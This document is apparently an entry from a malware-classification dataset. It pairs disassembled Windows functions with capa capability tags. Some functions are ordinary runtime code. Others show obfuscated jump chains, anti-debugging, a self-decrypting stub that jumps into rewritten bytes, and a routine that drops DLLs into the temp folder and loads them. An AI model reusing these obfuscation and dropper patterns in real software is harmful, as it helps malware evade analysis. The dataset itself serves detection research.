joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416bed
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040d6f8
xor ebx, ebx
cmp dword [0x4222ec], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x416cc3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x416da3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x416da3
push eax
call fcn.0040d68a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4222ec], eax
call esi
push eax
call fcn.0040d68a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4222f0], eax
call esi
push eax
call fcn.0040d68a
mov dword [0x4222f4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040af58
test eax, eax
pop ecx
pop ecx
je 0x416c91
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004073f7
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x416cc3
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040d68a
cmp eax, ebx
pop ecx
mov dword [0x4222fc], eax
je 0x416cc3
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d68a
pop ecx
mov dword [0x4222f8], eax
mov eax, dword [0x4222f8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x416d48
cmp dword [0x4222fc], ecx
je 0x416d48
push eax
call fcn.0040d701
push dword [0x4222fc]
mov esi, eax
call fcn.0040d701
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x416d48
cmp edi, ebx
je 0x416d48
call esi
cmp eax, ebx
je 0x416d15
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416d15
test byte [ebp - 0x18], 1
jne 0x416d48
lea eax, [ebp - 0x10]
push eax
call fcn.0040af8f
test eax, eax
pop ecx
je 0x416d30
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004073f7
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x416d3f
or dword [ebp + 0x10], 0x200000
jmp 0x416d83
or dword [ebp + 0x10], 0x40000
jmp 0x416d83
mov eax, dword [0x4222f0]
cmp eax, dword [ebp - 8]
je 0x416d83
push eax
call fcn.0040d701
cmp eax, ebx
pop ecx
je 0x416d83
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x416d83
mov eax, dword [0x4222f4]
cmp eax, dword [ebp - 8]
je 0x416d83
push eax
call fcn.0040d701
cmp eax, ebx
pop ecx
je 0x416d83
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4222ec]
call fcn.0040d701
cmp eax, ebx
pop ecx
je 0x416da3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x416da5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5444a7
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7e39e2
jmp 0x7c3fb1
jmp 0x7ec6ab
jmp 0x7bcaac
jmp 0x7f07b8
jmp 0x8029c5
jmp 0x80149e
jmp 0x80137d
jmp 0x7ed21a
jmp 0x7c3fb8
je 0x4b429d
jmp 0x7eeff1
je 0x635524
jmp 0x7b4368
je 0x6354fd
jmp 0x7b4370
jne 0x616ced
jmp 0x7ed21a
jmp 0x635524
jmp 0x598f9e
je 0x598f99
jmp 0x7feac7
cmp byte [edi], 0
jmp 0x7ae304
cmp byte [edi], 0x20
jmp 0x7ae30f
jmp 0x508957
je 0x4b42a2
jmp 0x7c7338
cmp byte [esi], 0
jmp 0x7bbb4b
cmp byte [edi], 0
jmp 0x7c84a1
test ecx, ecx
jmp 0x7ab29a
test ecx, ecx
jmp 0x7b1c15
test ecx, ecx
jmp 0x7c8496
cmp byte [esi], dl
jmp 0x7ab28f
je 0x4b42a2
jmp 0x7bcab4
jne 0x4bb059
jmp 0x7ed8ee
push eax
push edi
mov dword [esp], eax
mov eax, 0x7c144340
mov dword [esp + 4], eax
pop eax
mov dword [esp], esi
pop dword [ebp + 0x519c6]
jmp 0x7d5a1d
jmp 0x7ae324
sub esp, 4
mov dword [esp], ecx
push 0xffffffff
pop ecx
add esi, 0x426932f2
jmp 0x7e39fc
sub esi, ecx
sub esi, 0x426932f2
pop ecx
jmp 0x7e3b13
jmp 0x7f0350
jmp 0x7ec76b
mov dl, byte [edi]
jmp 0x7ec7d1
jmp 0x7c733f
push ebx
mov dword [esp], 1
mov ecx, dword [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
jmp 0x7ed339
jmp 0x7ae31a
jmp 0x7ed9f5
xor ecx, ecx
jmp 0x7ed9fc
jmp 0x7ec6ab
jmp 0x7ef040
xor ecx, ecx
jmp 0x7ef0d6
jmp 0x7e39e2
push esi
push 0xffffffff
pop esi
sub edi, 0x7fba1f7f
sub edi, 0x7df737b5
sub edi, esi
add edi, 0x7df737b5
jmp 0x7f047a
add edi, 0x7fba1f7f
pop esi
jmp 0x7f0486
jmp 0x7bbb34
jmp 0x7f06c2
ret
jmp 0x7f081b
pushal
jmp 0x7f08c4
jmp 0x801127
jmp 0x7fbe29
add esp, 4
jmp 0x7fbe3f
push 0x5335958b
mov dword [esp], esi
push dword [esp]
mov ebx, dword [esp]
add esp, 4
jmp 0x7fbd12
jmp 0x7bcaac
jmp 0x7feb83
shl esi, 8
js 0x7feba3
jmp 0x7fec2e
push ebx
mov ebx, esp
push ecx
mov dword [esp], eax
mov eax, 0x7febb8a7
dec eax
add eax, 0x6eff9f1f
not eax
shr eax, 6
shr eax, 8
add eax, 0xffffbbb2
add ebx, eax
pop eax
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], eax
pop eax
push ebx
mov dword [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg dword [esp], esi
pop esp
mov dword [esp], ecx
mov edx, dword [esp]
add esp, 4
jmp 0x7feb83
add esi, 0x44d900c9
sub esi, ebx
push ebx
push esi
mov esi, 0x2f6d4f90
xor esi, 0x4fb97299
jbe 0x7feb83
jmp 0x7feb24
inc esi
jne 0x7febd3
jmp 0x7feb32
shr ebx, 7
xor ebx, 0x7ddeb832
jmp 0x7fec3f
mov ebx, esi
pop esi
not ebx
add ebx, 0x6bd357c3
jg 0x7feb24
jmp 0x7febaf
not esi
push esi
not dword [esp]
pop esi
add esi, 0xa940ee4a
jmp 0x7febbd
push eax
mov eax, 0xbf237318
sub ebx, eax
pop eax
sub esi, ebx
pop ebx
jmp 0x7fec50
xor ebx, 0x7ffe6113
jb 0x7feb24
jmp 0x7fec2e
jmp 0x7d58fe
push ecx
mov dword [esp], 1
push dword [esp]
mov ecx, dword [esp]
add esp, 4
add esp, 4
jmp 0x801257
jmp 0x7fbd0d
jmp 0x8013d0
sub esp, 4
mov dword [esp], ebp
mov dword [esp], 0x1c7e8d54
mov dword [esp], ecx
mov dword [esp], 0
pop ecx
jmp 0x801499
jmp 0x7c3fb8
popal
jmp 0x80157b
jmp 0x7f05ac
push ebp
mov dword [esp], esi
push 0x7c6f98db
pop esi
dec esi
jl 0x8029c5
jmp 0x8029db
shl esi, 4
xor esi, 0xc6f98da0
push esi
pop dword [ebp + 0x519c6]
mov esi, dword [esp]
add esp, 4
jmp 0x802b02
jmp 0x80149e
Function at 0x5956df
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x81fc40
jmp fcn.00806826
jmp 0x81fc7f
sub esp, 4
mov dword [esp], esi
push ebp
push edx
mov edx, 0x4a2df741
mov ebp, edx
pop edx
mov dword [esp + 4], ebp
jmp 0x81fc9b
pop ebp
mov dword [esp], ebp
jmp 0x81fd54
jmp 0x830e3f
jmp 0x8304a4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], esi
push esp
pop esi
add esi, 4
sub esi, 0x14
push esi
push dword [esp + 4]
pop esi
pop dword [esp]
pop esp
jmp 0x830528
jmp 0x8066de
push esi
mov dword [esp], ebx
mov dword [esp], 0x151aa680
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
jmp 0x830f56
jmp 0x8303f0
Function at 0x401220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
xor eax, eax
push esi
push edi
push eax
push 2
xor edi, edi
mov dword [ebp - 0x12c], 0x128
mov dword [0x52a3e0], eax
mov dword [0x52a3e4], eax
mov dword [0x52a3e8], eax
mov dword [0x52a3ec], eax
mov dword [0x52a3f0], eax
mov dword [0x52a3f4], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x4012c3
lea eax, [ebp - 0x12c]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4012c3
push ebx
mov ebx, dword [ebp + 0xc]
mov esi, 0x52a3e0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.0042203d
add esp, 8
test eax, eax
jne 0x4012ab
mov eax, dword [ebp - 0x124]
mov dword [ebx], eax
mov dword [esi], eax
mov edi, 1
add esi, 4
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x12c]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401282
mov esi, dword [ebp - 4]
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
not eax
test ecx, ecx
je 0x40136d
mov edx, dword [ebp + 0xc]
push esi
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x523fc0]
inc edx
dec ecx
jne 0x401353
pop esi
not eax
pop ebp
ret

Function at 0x401410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
push ebx
push esi
push edi
push 4
lea eax, [ebp + 0x14]
push eax
push 4
lea ecx, [ebp + 0x18]
push ecx
push edx
call fcn.00401340
add esp, 0xc
push eax
call fcn.00401340
mov esi, dword [ebp + 8]
mov bl, byte [ebp + 0x18]
mov ecx, dword [ebp + 0xc]
lea edi, [esi + ecx - 1]
add esp, 0xc
add bl, al
mov dword [ebp + 0x18], edi
cmp esi, edi
ja 0x40147a
lea ecx, [ecx]
xor byte [edi], al
push 1
push edi
push eax
call fcn.00401340
dec edi
add esp, 0xc
cmp edi, esi
jae 0x401450
mov edi, dword [ebp + 0x18]
cmp esi, edi
jae 0x40147a
lea ebx, [ebx]
mov dl, byte [esi + 1]
sub byte [esi], dl
inc esi
cmp esi, edi
jb 0x401470
sub byte [esi], bl
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4014b0
Capabilities:
Get common file path
Hash data with crc32
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
cmp dword [0x52a3fc], 0
je 0x4014cb
mov eax, 1
mov esp, ebp
pop ebp
ret
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
push 0xff
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [0x423fc0]
lea edi, [esi + 0x423fc4]
cmp edi, 0x523fc0
jbe 0x401502
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push esi
call fcn.00413d67
push esi
mov ebx, eax
push 0x423fc4
push ebx
mov dword [ebp - 8], ebx
call fcn.00413140
push esi
push ebx
call fcn.00401490
add esp, 0x18
test eax, eax
je 0x4016c0
mov dword [ebp - 0xc], esi
mov esi, dword [edi]
add edi, 4
lea ebx, [esi + edi]
cmp ebx, 0x523fc0
ja 0x4016c0
push esi
call fcn.00413d67
push esi
push edi
push eax
mov dword [0x52a404], eax
mov dword [0x52a408], esi
call fcn.00413140
mov esi, ebx
mov edi, dword [esi]
add esp, 0x10
add esi, 4
test edi, edi
je 0x4015df
lea ecx, [edi + esi]
cmp ecx, 0x523fc0
ja 0x4016c0
push edi
call fcn.00413d67
push edi
mov ebx, eax
push esi
push ebx
call fcn.00413140
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x10c]
push str._sdaida.dll
push eax
call fcn.00413ce3
push 0x5245c8
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00413c9c
mov eax, dword [ebp - 4]
add esp, 0x28
test eax, eax
je 0x4015d6
push eax
push 1
push edi
push ebx
call fcn.00413b4f
mov eax, dword [ebp - 4]
push eax
call fcn.00413984
add esp, 0x14
push ebx
call fcn.004138dd
add esp, 4
xor ebx, ebx
cmp dword [0x52a3fc], ebx
jne 0x4016e4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x52a400]
push ebx
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x10c]
push str._swm_d__d.dll
push eax
call fcn.00413ce3
push 0x5245c8
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00413c9c
mov eax, dword [ebp - 4]
add esp, 0x20
test eax, eax
je 0x4016b0
mov ecx, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push 1
push eax
push ecx
call fcn.00413b4f
add esp, 0x10
cmp eax, 1
jne 0x4016c0
mov edx, dword [ebp - 4]
push edx
call fcn.00413984
add esp, 4
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4016b0
push 0x5245b4
push esi
call edi
push 0x5245b0
push esi
mov dword [0x52a40c], eax
call edi
push 0x5245ac
push esi
mov dword [0x52a410], eax
call edi
cmp dword [0x52a40c], 0
mov dword [0x52a414], eax
je 0x4016c9
cmp dword [0x52a410], 0
je 0x4016c9
test eax, eax
je 0x4016c9
mov dword [0x52a3fc], 1
inc ebx
cmp dword [0x52a3fc], 0
je 0x4015f3
jmp 0x4016e4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push str.jimi
push 0x524594
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 8]
push ecx
call fcn.004138dd
mov eax, dword [0x52a3fc]
add esp, 4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402050
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x400
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x400]
push 0x400
push edx
call fcn.004147c0
add esp, 0x10
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esp, ebp
pop ebp
ret

Function at 0x412b00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x524c74
push eax
mov ebx, ecx
call fcn.00413c85
mov esi, eax
add esp, 8
test esi, esi
jne 0x412b24
pop esi
pop ebx
pop ebp
ret 4
push edi
push 2
push 0
push esi
call fcn.00414e33
push esi
call fcn.00414d44
push esi
mov edi, eax
call fcn.00414af2
add esp, 0x14
push edi
push 2
mov dword [ebp + 8], 1
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
push edi
push 1
push eax
call fcn.00414ad5
add esp, 0x10
cmp eax, edi
je 0x412b72
mov dword [ebp + 8], 0
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call fcn.00413984
add esp, 4
cmp dword [ebp + 8], 0
jne 0x412ba5
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebx + 8], 0
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
mov eax, dword [ebx + 8]
lea esi, [ebx + 4]
push esi
push 1
push eax
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x412b9c
mov ecx, dword [esi]
push ebx
push 0x524cd0
push 1
push edi
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
pop ebp
ret 4
Function at 0x4187bb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5294d0]
jne 0x4187c5
repz ret
jmp fcn.0041dbb8

Function at 0x41d805
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5294d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004187ca
and dword [ebp - 0x14], 0
cmp dword [0x52ade8], 0
mov dword [ebp - 0x18], eax
jne 0x41d8b8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41d960
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41d960
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x52ade8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x52adec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x52adf0], eax
call edi
push eax
call esi
mov dword [0x52adf8], eax
test eax, eax
je 0x41d8b8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x52adf4], eax
mov eax, dword [0x52adf4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41d911
cmp dword [0x52adf8], ecx
je 0x41d911
push eax
call esi
push dword [0x52adf8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41d911
test ebx, ebx
je 0x41d911
call edi
test eax, eax
je 0x41d908
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41d908
test byte [ebp - 8], 1
jne 0x41d911
or dword [ebp + 0x10], 0x200000
jmp 0x41d944
mov eax, dword [0x52adec]
cmp eax, dword [ebp - 0x18]
je 0x41d944
push eax
call esi
test eax, eax
je 0x41d944
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41d944
mov eax, dword [0x52adf0]
cmp eax, dword [ebp - 0x18]
je 0x41d944
push eax
call esi
test eax, eax
je 0x41d944
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x52ade8]
call esi
test eax, eax
je 0x41d960
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41d962
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004187bb
leave
ret
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x40a0a0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x40a0a4]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call fcn.00402afc
jmp 0x4011d3
mov eax, dword [0x40a0a4]
test eax, eax
jne 0x4011c9
mov dword [0x40a0a4], 1
mov dword [esp + 4], 0x40d014
mov dword [esp], 0x40d00c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x4011d3
mov dword [0x40a01c], 1
mov eax, dword [0x40a0a4]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x40d008
mov dword [esp], section..CRT
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x40a0a4], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x40a0a0
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [entry1]
test eax, eax
je 0x401241
mov eax, dword [entry1]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call fcn.00401fd9
mov dword [esp], 0x4020f4
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x40a074], eax
mov dword [esp], section..text
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.00401978
mov eax, dword [0x40a004]
mov dword [esp + 4], 0x40a008
mov dword [esp], eax
call fcn.004013c8
call fcn.004017b4
mov eax, dword [0x406014]
mov edx, dword [0x40a00c]
mov dword [eax], edx
mov ecx, dword [0x40a00c]
mov edx, dword [0x40a008]
mov eax, dword [0x40a004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004053c8
mov dword [0x40a014], eax
mov eax, dword [0x40a018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x40a014]
mov dword [esp], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x40a01c]
test eax, eax
jne 0x4012de
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x40a014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40a04c], 1
mov dword [0x40a050], 1
mov dword [0x40a054], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x401980
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040296c
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x402554
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402573
mov eax, 0
jmp 0x4025b7
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402596
mov eax, 0
jmp 0x4025b7
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4025b2
mov eax, 0
jmp 0x4025b7
mov eax, 1
leave
ret
Function at 0x4025b9
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402618
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402610
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402610
mov eax, dword [ebp - 4]
jmp 0x40262c
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x4025ed
mov eax, 0
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx